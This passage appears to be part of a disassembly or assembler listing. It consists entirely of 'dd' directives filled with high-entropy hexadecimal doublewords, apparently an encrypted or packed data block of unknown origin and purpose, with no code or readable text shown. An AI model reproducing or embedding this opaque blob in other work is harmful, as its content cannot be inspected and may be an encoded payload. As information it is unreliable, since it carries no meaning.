87A00245h dd 8912824Fh, 0E2F4EAFCh, 60FF971Fh, 3884689Fh, 12631DBEh dd 0CFB90128h, 59350B50h, 0ECB8F047h, 702BA097h, 7C74C241h dd 0A0EE4945h, 0E672BF2Fh, 15DD2948h, 69A3D85h, 0DF4805Bh dd 39809806h, 0D327E288h, 72984F46h, 0E930EB05h, 34AAB1D1h dd 0EA1588A0h, 32A10A05h, 55B1CBE9h, 4C7DA93Bh, 742D27AAh dd 0B8506098h, 7D2730A7h, 0DD1DD813h, 7ADF12h, 49D7BA5Eh dd 68124B3Bh, 47444C97h, 0E2AEDEFEh, 592F7904h, 0D0AF201Eh dd 4C898FB5h, 0FD2F2652h, 777274DCh, 6A000658h, 5B676E46h dd 0B6B7E5E9h, 78C6847Eh, 3A3CC1B8h, 43583EA0h, 2F08A49Ch dd 0B6CB32E3h, 5CAC4B85h, 38DF44F7h, 204321D6h, 29DAB72Ch dd 0C316585Fh, 0E91C89CAh, 0AF176ECDh, 5FE9ADD9h, 6125F1E4h dd 0F218578Dh, 249142C5h, 4F66F8A5h, 82315D07h, 0ECCCED4Eh dd 517805Dh, 58A6413Ch, 9A75550Eh, 79C35C1Fh, 376FB418h dd 502502EAh, 2525E0Ch, 6E88D77Bh, 0D060A4DFh, 9F5A6C98h dd 0DD52F55Eh, 14C810EBh, 0C09F712Ch, 4128EF4Eh, 0E93D89D0h dd 712E6225h, 6575E901h, 0B3E82DE0h, 0D5823AB4h, 0AAD5B105h dd 404BE8DCh, 0D850F7C7h, 1D1F40F2h, 0A1490B93h, 4025D410h dd 2BFFB951h, 0B0568226h, 7DD40503h, 44881CA9h, 1170B07h dd 8F5085Fh, 0C310CB24h, 76054000h, 21C4E6D6h, 9B58C226h dd 8A30A200h, 0FD89563Fh, 0B85A7734h, 1A1697ACh, 63E2C13Bh dd 0DB7E6738h, 0B30C0660h, 8818390Eh, 820CAA0Ch, 1668847Ch dd 0EF49CD4Eh, 68087C50h, 0E91E141Ch, 0D160B816h, 4A4F7265h dd 1289CB12h, 85416C09h, 78B15152h, 924903E8h, 8CF70B0Fh dd 0A607CFFEh, 0AEF80577h, 175C4761h, 7DD5802h, 1EA4F6E3h dd 305999D0h, 5DDEF0E5h, 69057FF8h, 800A6F55h, 90AA9B0Ch dd 0E3F24FB8h, 357FA09Fh, 26B9B178h, 8BD029h, 0FD32C5EDh dd 20EB0148h, 5802CA49h, 206876BDh, 60CC560Ch, 0D987372h dd 0E9FB9550h, 589D8133h, 5BCDA845h, 6526E272h, 0EA5794D1h dd 5A86F354h, 8EE2D937h, 1A46D796h, 4E4DC220h, 845F575Eh dd 56B40D3Eh, 0D5CB7E1Ah, 0E14DE85Ah, 613EFB01h, 1AC67E4h dd 0EC60EBC1h, 26C05A6Fh, 694AA080h, 29B80D80h, 198E015Bh dd 0D0F860BBh, 48E23E2Fh, 231CB507h, 2206F72h, 0E9574C13h dd 81655220h, 5E3AC52Fh, 0DFDE42E6h, 41D5B03Bh, 0EB753C51h dd 566AEFDDh, 0CF52712Dh, 0D1310088h, 0BC6EE75Ah, 0B568C3CAh dd 0CABF8520h, 38FB4A73h, 5755C31h, 1C120E02h, 55B56EE9h dd 5F9009C4h, 1A4F9709h, 9B525569h, 51EBDF0Fh, 30AC368Fh dd 917ED189h, 238BE15h, 0BF685EF3h, 0D3ECB141h, 5CDEC23Eh dd 273847FDh, 0AD4DC631h, 0A39540CFh, 3D212DDFh, 5BD4A7CAh dd 2D6E215h, 516C2668h, 0ACA66067h, 0DAC89DF4h, 0CF277877h dd 4B097D05h, 0E128E553h, 546B1001h, 70B9E963h, 0C6DE622Ch dd 48264746h, 0A82BB70Ch, 1720327Fh, 0E8F47D01h, 0E5305B6Fh dd 2D0677B8h, 0D35005ABh, 0D2CE8100h, 0E9767554h, 0AF8BFFBCh dd 1C3A0719h, 421FAD80h, 87047B3Bh, 43E949CEh, 0CC3D0C8h dd 0EC480C92h, 4C1FDC0Ch, 0E30008DEh, 4B0F35DFh, 0BCFD2AE9h dd 21B0C7A3h, 87348579h, 0EF5EE5A5h, 2302E353h, 5D1ECEA6h dd 0E00934F0h, 58738B61h, 9C273208h, 0B3702874h, 0FBB4501Fh dd 13FB5938h, 0E9FDC531h, 98BA5280h, 401D7599h, 7660E1E9h dd 0CA38E589h, 0F305FE12h, 0C6964C74h, 982EF6C8h, 3BD40803h dd 8B0F2E7Ch, 0CA63AC6Fh, 317E167Bh, 7A75EEE8h, 0B84317EBh dd 0E955C14Ah, 7E64A0C7h, 0E671BD5Eh, 0EBE1E316h, 2EF5F0C1h dd 41FB1320h, 0DCF02AAEh, 32A74098h, 304D4D90h, 0CAAF3DCEh dd 0E95028B3h, 0CB8A55F7h, 0DB40AE03h, 20C0406h, 1753153h dd 3E1D1591h, 4655D20h, 0E960D852h, 0B964B0BFh, 5D0C4000h dd 86C9816Fh, 797B306Ch, 695A4F0Dh, 0F9C4E916h, 18C9988h dd 5832BC7Bh, 649968h, 95B082E9h, 0D0C872A2h, 87013959h dd 525742D7h, 4B939320h, 0E5E5E866h, 0F2141682h, 511A09C3h dd 9DE20C8Eh, 1D208BD8h, 9587B43h, 187968F8h, 528432B3h dd 905BCCA8h, 5340A7CEh, 0BEC96050h, 1BE80AB7h, 6BCC5DE9h dd 1219C4CBh, 0CACFC89Bh, 0A8ECB993h, 27CF7C91h, 27F0553h dd 0D4423D7Fh, 11D24C8Dh, 0CC57AFCBh, 42460876h, 8484A63h dd 49FE5E27h, 0F5A7F8E7h, 88607390h, 2C40583h, 307C9268h dd 4162E987h, 3DE0E983h, 924A2633h, 975C5A1h, 1EDFDA7h dd 2047E98Bh, 0B3536679h, 0D83025C2h, 58EC6DF8h, 0B2C2BB96h dd 0E2162F74h, 575927A8h, 0E91AF49Ch, 7286DF4Eh, 31597563h dd 0ED10D5F7h, 0C5A13FD9h, 4715EF2Ch, 680B2F38h, 0F6E87BDEh dd 0EE956675h, 0FBFE4F36h, 99F9AE34h, 0BF908884h, 0D0DE49E2h dd 70548B4h, 138670ACh, 7DAFB0B2h, 12D18C33h, 25273316h dd 50EED655h, 78BAF1C1h, 1C2F617Eh, 0E6900041h, 0B8466CFBh dd 40F425D1h, 3FBEC02Eh, 6817CD20h, 68BC4362h, 0F8F013A4h dd 155E0490h, 42880CC8h, 5CB54027h, 0C8E45CBFh, 3CA2C99h dd 5E8C087h, 0E902E098h, 0FEEFCE54h, 0F480C400h, 0E8B55131h dd 26E563C0h, 0C0502EDh, 1D8DE907h, 99058EFDh, 0AA44547Eh dd 0C5FD0512h, 74F6EF0Eh, 0E9867EFh, 84099C72h, 2FD3127h dd 9550BFFh, 7E8348DFh, 6001819Bh, 8D64590Eh, 1DF977FBh dd 0F034A387h, 0CB610532h, 0D6CDA62Dh, 0E47A4924h, 0E4B3A25Eh dd 50A93278h, 156E464Fh, 0F9832609h, 3166E030h, 535D0BEFh dd 36488BE9h, 0E8C151E5h, 1E580F3Ch, 50BDCE82h, 0BCC01338h dd 95877F7h, 0DCE700DBh, 0C179B92Dh, 0FC037FEFh, 0E51E2437h dd 69CE089Fh, 4C02CB2Ch, 75390189h, 9991A482h, 121BBD00h dd 9C198D7h, 0B46985F5h, 7F94980Dh, 0AD8997ACh, 0BD04F450h dd 7D1130F7h, 371076BCh, 0D388033Eh, 809FB25Ah, 78305BDAh dd 52ECA1D4h, 26E9D2ECh, 42D20BEBh, 0B1E69A8Fh, 884FD197h dd 680E5A99h, 4DF3126Dh, 6B98EAD7h, 2E8C503Eh, 0A29C5C2Ch dd 7A492481h, 64DAED62h, 5DB05F7Ch, 0FF7B531h, 6E27148Bh dd 4642885Eh, 0DBEED139h, 3AF6D540h, 0B5573E34h, 2D0517F8h dd 4010221Ch, 7BC1BE87h, 0D21341Bh, 853DE44h, 0E958CF01h dd 236BCEA4h, 0AA9C8593h, 739010BDh, 87B8E9C2h, 25AC6657h dd 10149261h, 0D19A0627h, 76D942AEh, 84721274h, 2C07344Eh dd 4B1E772Eh, 0C11ECF52h, 0A8808101h, 6846FA74h, 5F0F4912h dd 985E8C81h, 98B47A5Bh, 0E64D5531h, 0EA84F03Eh, 9E640C0Bh dd 3029504Bh, 0B8201CD3h, 29043203h, 4E8C125h, 7DBD36C1h dd 0DC4E327Ah, 0FEBFEF78h dd 0E92A5C9Ch, 2C1AD66Ch, 8F58C0E3h, 526884D5h, 3BDCF9A5h dd 4F13B598h, 965BA0F9h, 9516C110h, 150E1DF9h, 0BF972054h dd 3FA8D2C4h, 94D57069h, 84E02FC1h, 0C3A013E4h, 3578CF3Eh dd 5D7DF48h, 4F589682h, 215FD6C0h, 4595AC8h, 0AF89F0h dd 7B51D935h, 50533E74h, 0FDB43416h, 0C8B0D342h, 34894A3Bh dd 8819A51Bh, 17C2536h, 1523AB68h, 74473E7Dh, 0F50B137Bh dd 532705E7h, 0E3120BEDh, 801CAC52h, 0ECC99AC5h, 5D2E7D8Ch dd 0E13059A2h, 8059CF5Eh, 0C8284089h, 684FB0DDh, 0FD099F2Ah dd 95D91E7Fh, 77FA1A7Eh, 15E4E1B3h, 0D6A71A61h, 0DE2F41B2h dd 2FFDFD3Fh, 8E065156h, 732B65DCh, 44334140h, 9FE355Ch dd 23C57B4h, 72AE695Fh, 2CBA2DBFh, 408AA11h, 4B596AA3h dd 0C232E90Dh, 6B1DD99Fh, 0F768E302h, 0C0B89A69h, 82B8ACF8h dd 0DC6840D7h, 5A6E9509h, 0E0A21490h, 0C107BEF0h, 3C8E76CAh dd 5F8423A2h, 890FD67Bh, 75C9A7EEh, 0B3BE120Eh, 0F6B0D281h dd 0C8061679h, 344D0844h, 89565B0Bh, 3FA077DDh, 1B737D68h dd 0F7271F7Dh, 82F1CBD3h, 0A3B60338h, 0C29CD6B9h, 0AD49D37Dh dd 68CF03D1h, 0D7881447h, 0B03B073h, 638C6859h, 0E37A50C6h dd 0B372C02Ch, 84D84B6Fh, 92A27422h, 5A725E2Dh, 719C1A25h dd 0D0E950C2h, 3B576F50h, 0A71C1828h, 0D14CEE2Fh, 981988Fh dd 222D6A5Dh, 95D59459h, 354676DCh, 1FBB0712h, 0A41E410Fh dd 5EF8F015h, 4B2771BFh, 0C5384D7h, 6A56709Ah, 0E9120120h dd 8BE6A11Fh, 0ED2F524Ch, 0F5FEBA55h, 4F91DABCh, 25947208h dd 0E706747Ah, 797025A4h, 4F85987Eh, 5A5DFDF3h, 0E93FF6A1h dd 525D041Eh, 0B3EE5A54h, 0F410DF8Ch, 6DCBB92Dh, 7CD52C5Ah dd 7726F3ECh, 0AF68899Fh, 5FAEC6DFh, 668E0746h, 0D83121ADh dd 0F3BED856h, 702F637Fh, 0C9489B81h, 4A9CBA6Ah, 0C003F4BEh dd 15748032h, 5B7A3E60h, 9D2CCF1Dh, 0F4E90E81h, 410225A7h dd 286C0CBCh, 0B9F2D29Dh, 0B8B3BBD2h, 4F894527h, 0A4486D5Fh dd 2E1EA5C7h, 176A73F9h, 35EDC3E8h, 0C9DC5424h, 0EE9C5C04h dd 68091AF2h, 0E430066Fh, 0D47B54E3h, 8257553Fh, 3FE26BA1h dd 0A62F455Fh, 58908924h, 0FD089CD7h, 0E829B644h, 0CC02883Ah dd 7D54A050h, 73B65209h, 0CEAF83F6h, 87C6D992h, 41E9CAFBh dd 0B93B98F4h, 0A2562730h, 7E9B4E30h, 7ED462CAh, 42E95190h dd 5A93F52h, 36ED79B6h, 239CAEC0h, 67A7C28h, 6A526FCEh dd 33E6184Ch, 3062DB30h, 0A0B89983h, 625EF5F5h, 0B1955045h dd 3A85909h, 0BEADFC7Ch, 3F2A0B7h, 0F1E201B5h, 5A5A1BB0h dd 83F0D6BCh, 5B7CBB26h, 313EF206h, 0B0C5155h, 0AEE17B9h dd 65571E62h, 0AFC49211h, 19C95440h, 0C312DB6Fh, 3D8CCA52h dd 0A542D195h, 0E45F020Fh, 7F3620E7h, 56D6B800h, 7B354897h dd 50CB0933h, 1530C721h, 0DE4AE94Fh, 0C68888C1h, 0D5ECE17Eh dd 689FF11Ah, 22FA4CD7h, 89519D5Bh, 0F805E909h, 0EED4B545h dd 409D5EAAh, 0E1648453h, 3A39FF2Bh, 0F47BA421h, 0FB4829F9h dd 64902D67h, 665105F3h, 0FE0FA6B9h, 2AC998A1h, 0CF88538Bh dd 0BE3DF4C5h, 40A8DAF9h, 3D8A9A10h, 83F4BE50h, 285A58E5h dd 5D99F2C5h, 0B122566Ch, 0B5A9B061h, 0BA52FCB0h, 5AD52F86h dd 3CFF9909h, 13ED80BAh, 247948EAh, 0A878E112h, 4CB2F18Bh dd 3C09EF04h, 0FF6562F9h, 79AAB0EDh, 18A86815h, 0C7A84057h dd 483C6B0Eh, 0D2A153E9h, 0BC56D47Bh, 950B7300h, 5FD4334Bh dd 0DC95461Ch, 413E02BEh, 0FB700814h, 6A5F0781h, 10B9F116h dd 0E7662912h, 2DBE0F8Ah, 0F82C0B1Dh, 0B370953Ch, 0E91301ACh dd 0B7208582h, 5F2B0AD3h, 0E1BCF4F4h, 13AD1740h, 3649B368h dd 1F02E0F0h, 0E9654654h, 27EFDC76h, 3BC20474h, 0FAA09CB0h dd 75C46067h, 2209A9C3h, 57E45B4Eh, 0AA010BEBh, 0FD501BB0h dd 0C2BE03B5h, 0D6CCD10Eh, 136AD025h, 21504AA9h, 0A12CA8h dd 7E4814F5h, 897FED81h, 29524613h, 0CE4421EFh, 78FC3E9Dh dd 8AB796C4h, 0FD444EA5h, 0F5E32785h, 28D7C10h, 6C5EB22Dh dd 0BD635D65h, 0F4E755C6h, 0CD2433A7h, 68257A60h, 188CC6FDh dd 0C79A34Ah, 0A01707BEh, 58084E05h, 15A061Bh, 0F297C2F8h dd 0B1F0B573h, 0CF3C8B27h, 8544A7CFh, 45531B5Eh, 10652940h dd 4816CFBh, 0DA78F6CBh, 4B36FE11h, 0C8E91226h, 8C97BFC6h dd 9EA3F9B7h, 911440FDh, 75784EA0h, 0BD12AE46h, 0D8D721B3h dd 3D38C644h, 0F7818C64h, 0BF050DC2h, 0C0E93421h, 1C1E22E4h dd 638075F8h, 1D94BE56h, 293A0F3h, 0F181804Dh, 6F647C0Fh dd 31A6644h, 37B30916h, 2977DBF6h, 0EB6C83C2h, 0F30604D0h dd 0E65BDD30h, 0C3BF1699h, 75013190h, 69E7743Dh, 3E20F8FBh dd 0CF04E0D0h, 1A642CF2h, 45EEAC12h, 0FAB5019Bh, 2F9499A2h dd 8103F920h, 535DA5EFh, 9C0C027Dh, 21E6F1BAh, 0AD805174h dd 0E9673B0Ah, 59D92A8h, 564EED68h, 26D38812h, 5E24C459h dd 65B176ECh, 84CB552Bh, 68B7FFB5h, 4832FB4Ah, 0A3A70C1h dd 214F2DBAh, 3DAD00C1h, 0D0294DDEh, 5A0742F7h, 3E835861h dd 0F3078CBDh, 0B2746328h, 1B77C6B7h, 0B5DAC9EAh, 69269833h dd 8082A573h, 0D9779217h, 0F0BCB44h, 0B4012870h, 51CCFE72h dd 0AFC3D6B1h, 0B0F119E2h, 16C33168h, 3079DB68h, 64B05031h dd 385CD3F6h, 0E3B6C03Eh, 0C0FCC7E9h, 64C8C145h, 0B952FC5h dd 506207ABh, 654FE3C0h, 0B9774AAAh, 0BBFD0496h, 42C0AF7Dh dd 1625CDDh, 51CB016Ah, 548EE7E9h, 3129A089h, 3C455916h dd 462291FEh, 0C123819Bh, 61A689FDh, 0DB1B9228h, 59BAC536h dd 1144B88Fh, 1CB7B7B1h, 1B45B850h, 57AC4338h, 0A9580817h dd 0DFF675B0h, 0CE414C50h, 57024205h, 34EA7C01h, 280C1AC4h dd 31821C14h, 7035797Fh, 0D9C75377h, 0E9DF9EC3h, 3A216A0Ch dd 8F9B611Fh, 0B046B83Fh, 9F65685Fh, 8497B8C6h, 51A153EFh dd 66B1F22Bh, 19215B11h, 54C1D9E9h, 99DC404Bh, 3B603D54h dd 5A560E92h, 76E0A173h, 903F4ED4h, 0FE4740DBh, 0F280C209h dd 0E28EF7DEh, 0D8833E08h, 0A82BBB22h, 287B3012h, 20CCF768h dd 5BB02627h, 4645B20h, 505CB335h, 8D1C00Ch, 0F0B7FE0h dd 9AC0A9E9h, 0C6EA0425h, 16236800h, 0F9BD5D6Ah, 0A2E9895Fh dd 0E52406F6h, 0AE4F7DAh, 0D17BA427h, 9BEA8B2Ch, 5C705344h dd 0A5BCD1BEh, 892FD97Bh, 7855B6B1h, 0B52AB043h, 0E978ACD4h dd 3C8E69AAh, 7EAE8BFDh, 0C55997B3h, 0E15AB8CFh, 0E22ACA09h dd 0C856D665h, 25E98B20h, 45DEB7E5h, 82FFE456h, 3033FB40h dd 965FEE3Dh, 3C296781h, 0F2AFA720h, 0BB3F5F7Ah, 4C088D10h dd 9784C4EAh, 0FAC6FE04h, 0B17B9D80h, 0B636FAA0h, 6E18B08h dd 21F72800h, 11396DDh, 0BCA459CFh, 63541737h, 0D74FF209h dd 7F9CC9BFh, 64AB008Ch, 0BE5CC689h, 0FB4BDEF2h, 3C843D29h dd 1F222AE9h, 9DCBD99Dh, 20504857h, 5DB9808Ch, 0A22BCE17h dd 6A0970BCh, 49890250h, 4085108h, 0F9A2D4E9h, 29F95FCAh dd 0E27FF441h, 0F9BF7C35h, 0FC5F3E41h, 0FE2F9F4Dh, 0AB5B9359h dd 610103C8h, 555FC3FDh, 36217A54h, 0BC7EA80h, 0D408DE06h dd 0A96104h, 158C0558h, 24695CECh, 9D77C73Fh, 0B1591942h dd 3BC9DFE9h, 786ED85Eh, 736B2597h, 891F92h, 0C77632BEh dd 0D2C1354Ah, 2E63A3A7h, 9A325D32h, 0DE9D1758h, 0E5F77225h dd 0B81D0C63h, 0DFB0D7EFh, 80C9904Ch, 0FFE1907h, 765204BBh dd 0BB31541Eh, 0CEF39800h dd 101A5C62h, 0F3506E9h, 852E30BFh, 84FB8766h, 0C2A2EFA6h dd 38534724h, 1F9D248Bh, 314B26D8h, 960614C1h, 48450105h dd 65E11DA0h, 5A949A13h, 2C967544h, 224BE90Bh, 0B88AF567h dd 33830259h, 0C85DD95Dh, 5E5C107h, 14BED37h, 0B458B8F1h dd 0D72C101Ah, 0E9B01E6Bh, 45C1BFDh, 475A10B1h, 56AD5D3Dh dd 8A71C6C2h, 0A010FDA7h, 749D794Ch, 0CC80E2FCh, 3ECC5E0h dd 31EF285Fh, 0DC672CCAh, 8624E965h, 0E7827862h, 801DD41Ch dd 5E7A7588h, 0B94C029h, 573A4E58h, 74546AECh, 9AC4E8DBh dd 4416C997h, 0EA7E24E1h, 0C15B0FE2h, 680868E4h, 0DA88D39Dh dd 0BBAB403Ah, 0F918EC01h, 75CB810Dh, 0B54742C4h, 857D6E62h dd 4B84688Ah, 810D98EFh, 0E16F5A81h, 0EFCB2A38h, 0FD9C257Dh dd 956FCB18h, 201332Dh, 0E62AD35Bh, 2D6813AAh, 9294A24Ch dd 0B6C14AE8h, 3E66725Ah, 84096A8h, 0BD5E975Eh, 0D62F4CC2h dd 5668520Ch, 5881AC8Ch, 346AC7Ah, 0D194BC9h, 0E3E1B07Dh dd 7C3C2870h, 7E4758C5h, 0CE012576h, 8856E775h, 2337D2B7h dd 9EB40785h, 27E60481h, 0BA1BAA29h, 0A816E9C0h, 0E9DC0D8Ch dd 0FD36A193h, 3433DCDAh, 9AA9689Fh, 28670002h, 22E0F681h dd 94B5040h, 618942ACh, 30B05C61h, 59705809h, 89A2D9BFh dd 0C8FFC829h, 0FBA5DB6h, 71A47334h, 0A29EDE65h, 3CB316BEh dd 48603ABh, 38152805h, 0B90718h, 0DD5F57C2h, 0A05E52A0h dd 17F0CE95h, 2756163h, 0E05674D9h, 17207F60h, 3573ED00h dd 48D14D46h, 0B8F75450h, 35D41FDh, 0A09CFBDCh, 71F13632h dd 41982BC4h, 0EF89751h, 382DCCB5h, 0AB5E4123h, 25E9482Ch dd 90DF7AB3h, 0B7938001h, 0AC6CA4D4h, 8D6401F2h, 61B93519h dd 3848C513h, 43E05F62h, 0E8341342h, 39820049h, 8108940Ah dd 7C1209FCh, 0B8E063B2h, 5E15E8A1h, 1EB4A437h, 91003277h dd 27C7A2Dh, 50F8295Dh, 24E90705h, 93D2A5BFh, 850CDF0h dd 764DBEE6h, 0A10E5835h, 9B3A718Eh, 0F1CB4BB0h, 1E77AB10h dd 0FF4CC39Dh, 975B7C76h, 0CC08F973h, 0BD5F12DEh, 0A32E122Dh dd 0FF9095E9h, 139FD07h, 10D22E3Dh, 0E90D08C0h, 0D95B8DF0h dd 4CBE38ADh, 8280911h, 0CB638006h, 4B5122C8h, 2741AB49h dd 0B5727FECh, 822E5C9Dh, 0DA011E52h, 5B120808h, 0D38661BEh dd 0CACD7B3Dh, 50A279C8h, 3B6CD472h, 0C54AB61Fh, 200FFB41h dd 252548E9h, 50B12C5Eh, 28F52002h, 53751D6Ah, 447DE19Fh dd 75B7BFBBh, 0A2328810h, 57A6A959h, 3F4292F9h, 0FFE5CAAAh dd 0B925A80Fh, 3EF98A15h, 0F0EB1650h, 0F18088EBh, 9B153Ah dd 2EF5815Dh, 1A1D847Ch, 53B616E9h, 0D82071D2h, 0F1800BACh dd 950E2886h, 65FD9DCh, 73F2F0BAh, 25F7D0B5h, 0A4F7E288h dd 0DA98EA3h, 270CAC5Bh, 2F63EC5Bh, 747C7C8Fh, 7FBC3825h dd 9F747437h, 3A59DB4Eh, 80B83AFFh, 2D368003h, 4977216Ah dd 8905A70Ah, 0FA91D35Fh, 1AE97D81h, 18A6123Bh, 744C9436h dd 0BA42C689h, 0BC9190B4h, 86469788h, 0A649F55Fh, 0D582D752h dd 2CF44331h, 4C6DEEBh, 0AEB87AF0h, 9D5A51A0h, 46150C47h dd 0AD0C931Fh, 2DA075h, 7AD74862h, 45407C05h, 0EDC8D5F9h dd 28E06BE7h, 0DB07A22Dh, 0D7BA81FDh, 3B7B2679h, 630D180h dd 77254846h, 0E4C09400h, 1D9F2D16h, 3F804258h, 52A94AA5h dd 0C77B41D6h, 0F6328F52h, 5DF5DAFDh, 128D3A66h, 8DE13AB1h dd 0D39F3D28h, 2F3BF470h, 1C19302Eh, 7A060F0Ah, 7594B8E2h dd 202F8273h, 3925056Eh, 0F5A0E5DBh, 0E35B5E07h, 8B0B934Dh dd 4A0250F9h, 0FA1EE45Fh, 0B2444182h, 0F164353Eh, 0DDBD2F29h dd 2FE85F10h, 4527745Ah, 6120AE02h, 9EA34A1Ch, 58BA004Fh dd 0FB293D8Bh, 8A2C3FCh, 5EAD18D1h, 536D12ACh, 5845203Ah dd 8501BD55h, 0E97BFD22h, 0B0324A71h, 0BCC4D29Eh, 0FCB65A1Fh dd 0D4529705h, 2AC4BF47h, 3B5777C5h, 0B49005BCh, 56DFE10h dd 523BACB9h, 1F48B881h, 92C3376Bh, 26DF405Dh, 9C44B21h dd 0E29DBB45h, 0EE2B23FFh, 229A7BFh, 0E877E358h, 4E87D613h dd 9EE4A0F2h, 440D2705h, 6EC5CE9h, 0A90B1F7Ah, 945230BEh dd 5550051Dh, 1E04E099h, 0CB014F48h, 1C680810h, 0AFE90514h dd 41BAD79h, 0C0B7CAFDh, 56D1C2BEh, 7CA33ADDh, 6773C9EBh dd 7900B220h, 0B812463Bh, 4AE117D0h, 35590327h, 3ABA534Bh dd 5FB35277h, 5B8209D2h, 3258F45Ch, 0C4DD825Fh, 67900CE0h dd 860C3D98h, 253F6902h, 0A28C26E9h, 5F5DEBC9h, 0C9CEEC71h dd 4EF1550Ch, 4BF96870h, 18AAA36Ah, 0D2977172h, 2C868015h dd 46E83AFBh, 0EBA00BD6h, 0C7F4937Fh, 2F9D9176h, 0B4455DEFh dd 732AE985h, 402FE341h, 0CB383366h, 0C45A3458h, 0FB8BAB67h dd 0C9A9F85Bh, 0B914A159h, 0C0F65FCFh, 0E143CAD3h, 0DF71EE2Eh dd 992EC0BEh, 23C50211h, 8B2C207Ch, 0E55394h, 200B78D3h dd 13D20EBBh, 0FB292D21h, 7E209554h, 71343609h, 2FDBD4D1h dd 1C52072Ah, 6B5BC8DEh, 0A8A29B12h, 963A85Eh, 0B82D7568h dd 0F986659Fh, 4C7EE23Ah, 447B271Ch, 0CB575F05h, 0DF933834h dd 0FAFB56BBh, 77D27827h, 6B32D695h, 0A2A7E209h, 0C167EEC9h dd 648C6F01h, 5E800606h, 37CA5E08h, 79C2E322h, 9E8921E9h dd 4009CD69h, 2D7CD7h, 60B60CE3h, 1CC1DDF7h, 7CD95DA1h dd 0FE8EDF9h, 0B2435EE0h, 17701F1Fh, 0D0C13AB0h, 2BE22F5Eh dd 8A0F0D6h, 36CC6197h, 6B10BFA5h, 8982AA8Dh, 8E22777Eh dd 0EA5DBB53h, 42567C9Dh, 0A290C568h, 66814473h, 409D9F60h dd 0D558F79Fh, 0BDBE202Fh, 0FE8044C2h, 0F61B32ABh, 5F3DE1A0h dd 0F02B2C2Dh, 53302085h, 3681015Ah, 0A08EDB91h, 0E40937BAh dd 43C23780h, 7D00FD38h, 0A4BE5642h, 240C2E31h, 81833CE9h dd 1368D0B3h, 88FE4C3Dh, 0ADE9DA09h, 2699E8CCh, 1223002Dh dd 28CDB95Dh, 29056776h, 9BDEE9F1h, 0E48BCDAAh, 9E928788h dd 0DE2FFB79h, 49CD7C0Fh, 6E0540D5h, 3D7E9D91h, 41478FE2h dd 3325F00Ch, 70C6B2FFh, 4B68178Bh, 2A1D623Fh, 63959250h dd 7804C1F2h, 0D017123Dh, 22E5D07Fh, 0C0900A69h, 0F4A04B20h dd 981D1468h, 0F44FA575h, 811441EAh, 489E45F1h, 28C102DBh dd 0D7527C1Dh, 5A4EDB44h, 0BD277EB1h, 705FF84Ch, 235F6882h dd 0F4066C9Dh, 307E4F97h, 8341289Fh, 7FF2505Eh, 40848DC5h dd 871DEBC0h, 895080F1h, 90415ECDh, 409FD060h, 0D814285Ch dd 20C9932Ch, 0B541EF5Dh, 0F72F9755h, 139A4C7Ch, 1BF9A51Eh dd 0E9B4129Ch, 4409279h, 37BE62C1h, 8D162FE9h, 4026EE44h dd 0F80940AAh, 1E8B5D5Fh, 107C4D5Fh, 62E892EEh, 6539C280h dd 68B30178h, 431C01A4h, 2BC55725h, 0F3481F80h, 0EF68E969h dd 35DDB36Ah, 0DEAA2974h, 61E90C7Eh, 1CC11731h, 0D7A218CCh dd 83960B29h, 0E380160Fh, 202E71A1h, 8E7F7EC0h, 5C0128EDh dd 0D716B9DAh, 5DAF05Ah, 4A029512h, 13B4D500h, 0B4213E5Dh dd 0FFEF4398h, 94D60340h, 7C9F8BB2h, 33F953B9h, 0B5E58F28h dd 0DF42040Bh, 7CDBE7EEh, 0CAF1EA4Ah, 4F50CA6Eh, 4B5BE9CBh dd 72035F9h, 0CC80ECD0h, 0EE06DC67h, 52F5C461h, 0DED2Ah dd 3010B258h, 0F7B35BFAh, 3FDD71h, 2723BFA8h, 0F1966664h dd 0FA0B9828h, 0B84B6955h, 0CB2B8D0h, 0CEE97CDCh, 681666D7h dd 68A27626h, 0C4D59725h, 0B85000DDh, 61512C92h, 0F0B6635h dd 834818E7h, 0FBF2B86h, 0FC305CBCh, 370CEC05h, 0C4528EA4h dd 0B1E4EEF8h, 0DF85BD9Dh dd 0E4F7BB5Ah, 40E95781h, 0CFBB34A3h, 5248FDFEh, 2ED90034h dd 96BA4B36h, 76F82F8Bh, 7B40635Ch, 905261CEh, 0A7FAB52Ch dd 9A4CE917h, 0F1020FEDh, 0F36CCF10h, 0A554F4E2h, 0D7748589h dd 60205D44h, 216807C8h, 0A212C90Dh, 0B7A15482h, 0DE3669FBh dd 822172FDh, 4F9F7E7h, 0DB579271h, 6D17EEE0h, 0C7E61F0h dd 406622ECh, 313CC68Dh, 0C059234h, 6533B1AEh, 42ACAFFCh dd 5AB6F7D2h, 987E8820h, 34814C28h, 0D4654DFh, 48EC5018h dd 1017A9BBh, 3940793Ch, 7505E8D1h, 19DE1E55h, 342580F7h dd 0D0A5913h, 0F13AEB00h, 0D7930541h, 12F25F44h, 309C9D6Ch dd 3C4B317Dh, 70826834h, 161274D5h, 0CF5EEF05h, 71E11B92h dd 0F124D93Bh, 21846BB2h, 0BDC9ACBAh, 12B6A93Bh, 24FF40D4h dd 7224AAD3h, 0D14A75B7h, 965E9EDAh, 93EDC761h, 0B6CD0450h dd 6DEC89E0h, 12F56725h, 1192BBBEh, 14ED03Ch, 66347CB0h dd 7107E8C0h, 4122EACh, 0CC86F2BFh, 503051C4h, 9C0FCF3h dd 0CBFE05EBh, 703F5B56h, 5234C360h, 6B862CB6h, 1F51FDEh dd 0C2EEE96Bh, 4BB9E93Bh, 56FBF99h, 0B3585B6Ch, 76131002h dd 7E6C112h, 0B3D6F78Eh, 0E71793A6h, 398D389h, 0E8945ABEh dd 5700D6FBh, 1BA16B11h, 97402BFh, 0F7314EC3h, 0BBCFAF40h dd 394BA8E8h, 34A285F2h, 72BE003h, 0D1FFC71Fh, 41C9A5EFh dd 34DDB0C6h, 73FD6EECh, 4AC3FE7Ch, 57932397h, 2C449205h dd 36821CD0h, 6259074Bh, 15907146h, 0D4BDB568h, 7AC06084h dd 0A8C161AAh, 9E558544h, 86602465h, 0BCD182B6h, 0EDEB8085h dd 0A1E9CC03h, 0E3AA8450h, 78AC5B77h, 8530125h, 9F947DA7h dd 68E1F705h, 49536AD9h, 6CB7A2C1h, 72D5A707h, 0BB55B30Fh dd 7D9CD9DEh, 56F69383h, 7362F328h, 0DCE6BAh, 0CEFE09B6h dd 0F85C8072h, 0D3B33050h, 272ABFC7h, 3F8FE8ABh, 0EA3DA8C5h dd 0F6EAB135h, 76EAC05Eh, 9F1D4959h, 0D22DD770h, 8269CE75h dd 0F2DF0425h, 0B8A1FEECh, 827D5774h, 187FAEE2h, 1657EDEBh dd 